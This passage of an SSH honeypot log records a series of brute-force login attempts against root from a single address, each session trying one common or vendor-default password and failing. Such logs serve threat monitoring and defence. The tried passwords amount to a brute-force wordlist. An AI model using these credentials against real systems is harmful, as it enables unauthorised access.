{"eventid":"cowrie.login.failed","username":"root","password":"Test123456","message":"login attempt [root/Test123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:13.442255Z","src_ip":"60.165.124.241","session":"50311a4cd117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:14.709510Z","src_ip":"60.165.124.241","session":"50311a4cd117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56220,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ed485e01f61","protocol":"ssh","message":"New connection: 60.165.124.241:56220 (10.17.0.5:22) [session: 9ed485e01f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:14.928714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:14.933967Z","src_ip":"60.165.124.241","session":"9ed485e01f61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:15.173325Z","src_ip":"60.165.124.241","session":"9ed485e01f61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeit","message":"login attempt [root/changeit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:15.896477Z","src_ip":"60.165.124.241","session":"9ed485e01f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:17.138339Z","src_ip":"60.165.124.241","session":"9ed485e01f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59122,"dst_ip":"10.17.0.5","dst_port":22,"session":"998640d90d15","protocol":"ssh","message":"New connection: 60.165.124.241:59122 (10.17.0.5:22) [session: 998640d90d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:17.372614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:17.377792Z","src_ip":"60.165.124.241","session":"998640d90d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:17.620011Z","src_ip":"60.165.124.241","session":"998640d90d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZTE@uss100","message":"login attempt [root/ZTE@uss100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:18.342341Z","src_ip":"60.165.124.241","session":"998640d90d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:20.171916Z","src_ip":"60.165.124.241","session":"998640d90d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34808,"dst_ip":"10.17.0.5","dst_port":22,"session":"12a0b3c3c220","protocol":"ssh","message":"New connection: 60.165.124.241:34808 (10.17.0.5:22) [session: 12a0b3c3c220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:20.411041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:20.420247Z","src_ip":"60.165.124.241","session":"12a0b3c3c220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:20.674839Z","src_ip":"60.165.124.241","session":"12a0b3c3c220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234567@","message":"login attempt [root/asd1234567@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:21.420528Z","src_ip":"60.165.124.241","session":"12a0b3c3c220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:22.673781Z","src_ip":"60.165.124.241","session":"12a0b3c3c220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37648,"dst_ip":"10.17.0.5","dst_port":22,"session":"020455b55359","protocol":"ssh","message":"New connection: 60.165.124.241:37648 (10.17.0.5:22) [session: 020455b55359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:22.905427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:22.910506Z","src_ip":"60.165.124.241","session":"020455b55359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:23.164968Z","src_ip":"60.165.124.241","session":"020455b55359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kirishima@19840215","message":"login attempt [root/Kirishima@19840215] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:23.901530Z","src_ip":"60.165.124.241","session":"020455b55359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:25.153818Z","src_ip":"60.165.124.241","session":"020455b55359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40680,"dst_ip":"10.17.0.5","dst_port":22,"session":"452d37c5b18b","protocol":"ssh","message":"New connection: 60.165.124.241:40680 (10.17.0.5:22) [session: 452d37c5b18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:25.386227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:25.391580Z","src_ip":"60.165.124.241","session":"452d37c5b18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:25.643891Z","src_ip":"60.165.124.241","session":"452d37c5b18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welltech12","message":"login attempt [root/welltech12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:26.380787Z","src_ip":"60.165.124.241","session":"452d37c5b18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:27.628341Z","src_ip":"60.165.124.241","session":"452d37c5b18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43626,"dst_ip":"10.17.0.5","dst_port":22,"session":"17213348cff1","protocol":"ssh","message":"New connection: 60.165.124.241:43626 (10.17.0.5:22) [session: 17213348cff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:27.862012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:27.870244Z","src_ip":"60.165.124.241","session":"17213348cff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:28.121541Z","src_ip":"60.165.124.241","session":"17213348cff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9qidc.cn","message":"login attempt [root/9qidc.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:28.866169Z","src_ip":"60.165.124.241","session":"17213348cff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:30.106333Z","src_ip":"60.165.124.241","session":"17213348cff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46700,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcbac985ab92","protocol":"ssh","message":"New connection: 60.165.124.241:46700 (10.17.0.5:22) [session: fcbac985ab92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:30.341985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:30.348876Z","src_ip":"60.165.124.241","session":"fcbac985ab92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:30.587955Z","src_ip":"60.165.124.241","session":"fcbac985ab92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2025","message":"login attempt [root/root@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:31.312447Z","src_ip":"60.165.124.241","session":"fcbac985ab92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:32.553665Z","src_ip":"60.165.124.241","session":"fcbac985ab92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49944,"dst_ip":"10.17.0.5","dst_port":22,"session":"e84143814478","protocol":"ssh","message":"New connection: 60.165.124.241:49944 (10.17.0.5:22) [session: e84143814478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:32.802273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:32.807659Z","src_ip":"60.165.124.241","session":"e84143814478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:33.056289Z","src_ip":"60.165.124.241","session":"e84143814478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword!","message":"login attempt [root/P@ssword!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:33.798247Z","src_ip":"60.165.124.241","session":"e84143814478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:35.045946Z","src_ip":"60.165.124.241","session":"e84143814478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52596,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e89238f9295","protocol":"ssh","message":"New connection: 60.165.124.241:52596 (10.17.0.5:22) [session: 1e89238f9295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:35.269389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:35.275035Z","src_ip":"60.165.124.241","session":"1e89238f9295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-